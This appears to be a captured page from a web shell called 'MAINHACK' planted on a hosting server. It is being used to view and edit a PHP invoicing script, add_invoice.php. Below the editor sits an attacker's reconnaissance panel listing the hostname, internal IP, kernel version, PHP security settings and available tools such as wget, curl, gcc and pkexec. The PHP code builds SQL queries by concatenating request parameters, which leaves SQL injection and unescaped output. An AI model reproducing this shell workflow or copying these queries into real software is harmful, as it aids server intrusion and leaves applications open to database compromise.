[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: add_invoice.php
<?php include 'header.php';?> <style> .col-md-3,.col-md-2,.col-md-6{ display:inline-block !important; } </style> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">Create Invoice</div> </div> <?php $count=1; $sr='client'; $stmt =$show->readwithdata('client','client_id',$_REQUEST['cid']); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; // echo $row['name']; ?> <div class="card-body"> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">Name <span class="required-label">*</span></label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="text" name="name" value="<?=$row['name']?>" class="form-control" placeholder="Name"> <input type="hidden" name="client_id" value="<?=$row['client_id']?>" > </div> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">Phone <span class="required-label">*</span></label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="text" name="phone" class="form-control" value="<?=$row['phone']?>" placeholder="Phone" required> </div> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">Alt Phone </label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="text" name="alt_phone" value="<?=$row['alt_phone']?>" class="form-control" placeholder="Phone" > </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">Email </label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="email" name="email" value="<?=$row['email']?>" class="form-control" placeholder="Email"> </div> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">Address</label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="text" name="address" value="<?=$row['address']?>" class="form-control" placeholder="Address"> </div> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">Location </label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="text" name="location" value="<?=$row['location']?>" class="form-control" placeholder="Location"> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">Country </label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="text" name="country" value="<?=$row['country']?>" class="form-control" placeholder="Country"> </div> <label for="name" class="col-lg-2 col-md-3 col-sm-4 mt-sm-2 ">Company Name </label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="text" name="company_name" value="<?=$row['company_name']?>" class="form-control" placeholder="Company Name"> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-2 col-md-3 col-sm-4 mt-sm-2 ">Company Address</label> <div class="col-lg-6 col-md-12 col-sm-12"> <input type="text" name="company_address" value="<?=$row['company_address']?>" class="form-control" placeholder="Company Address"> </div> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">State</label> <div class="col-lg-2 col-md-12 col-sm-12"> <select name="state" class="form-control" > <option value="">State</option> <?php $table1='state_list'; $stmt=$show->state($table1); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['state']."'"; echo ">".$row['state']."</option>"; } } ?> </select> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-2 col-md-3 col-sm-4 mt-sm-2 ">GSTIN</label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="text" name="gstin" class="form-control" placeholder="GSTIN"> </div> <label for="name" class="col-lg-2 col-md-3 col-sm-4 mt-sm-2 ">Other Details</label> <div class="col-lg-5 col-md-12 col-sm-12"> <input type="text" name="others" class="form-control" placeholder="Other Details"> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-2 col-md-3 col-sm-4 mt-sm-2 ">Fileable</label> <div class="col-lg-3 col-md-12 col-sm-12"> <select name="fileable" class="form-control" placeholder="Fileable" required> <option value="">Choose</option> <option value="YES">YES</option> <option value="NO">NO</option> </select> </div> </div> </div> <?php } } ?> </div> </div> <div class="col-md-12"> <div class="card"> <div class="card-body"> <div class="table-responsive"> <table id="basic-datatables" class="display table table-striped table-hover"> <thead> <th>ID</th> <th>Project Type</th> <th>Title</th> <th>Final Cost</th> <th>Note</th> </thead> <tbody> <?php $count=1; $sr='project'; //$stmt =$show->readwithdata($sr,'status','Project Confirmed'); $s1="select * from project where customer_id='".$_REQUEST['cid']."' and invoice_status='PENDING' order by id desc";//echo $s1; $stmt=$con->prepare($s1); $stmt->execute(); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; // echo $usr_p; $module=$row['mproject_id']==''?"<a href='create_module.php?pid=".$row['project_id']."' class='btn btn-xs btn-success'>Create Module</a>":"<a href='show_module.php?pid=".$row['project_id']."'>Show Module</a>"; echo "<tr> <td>$count. <input type='checkbox' name='check[]'> <input type='hidden' name='project[]' value='".$row['title']."'> <input type='hidden' name='final_cost[]' value='".$row['final_cost']."'> <input type='hidden' name='project_id[]' value='".$row['project_id']."'> </td> <td>".$row['project_type']."</td> <td>".$row['title']."</td> <td>".$row['final_cost']."</td> <td><span style='color:red'>".$row['note']."</span></td> "; ?> <?php ++$count; } }else{ echo "<tr><td>No bills to show</td></tr>"; } ?> </tbody> </table> </div> </div> </div> </div> <div class="card-action"> <div class="row"> <div class="col-md-12"> <input class="btn btn-success" type="submit" name="sub" value="Create Invoice"> </div> </div> </div> </form> </div> </div> </div> <?php if(isset($_POST['sub'])){ $prefix=date('Ym'); $uid=$show->getid('ids',$prefix); $allowed = ["name","email","phone","address","country","location","alt_phone","company_name","company_address","others","gstin","fileable"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars($_POST[$key]); } } $setStr = rtrim($setStr, ","); $params['client_id'] =$_REQUEST['cid']; $show->table ='client'; $show->cols =$setStr; $show->id_name ='client_id'; $show->params =$params; //print_r($params); if($show->update_all()){ if(isset($_POST['check'])){ foreach ($_POST['check'] as $key=>$value) { $data1 = array( 'client_id'=>$_POST['client_id'], 'bill_id'=>$uid, 'title'=>$_POST['project'][$key], 'unit_price'=>$_POST['final_cost'][$key], 'total_price'=>$_POST['final_cost'][$key], 'project_id'=>$_POST['project_id'][$key], ); } if($show->insert('bill',$data1)){ $sq="update project set invoice_status='DONE' where project_id='".$_POST['project_id'][$key]."'"; $s11=$con->prepare($sq); $s11->execute(); } } $data = array( 'client_id'=>$_POST['client_id'], 'bill_id'=>$uid, 'client_name'=>$_POST['name'], 'type'=>'Invoice', ); $r1=$show->insert('inovice',$data); echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: "for Updating!", type: "success" }, function() { window.location = "invoice.php?bil='.$uid.'"; }); }, 1000); </script>'; } else{ echo "ss"; } }?> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619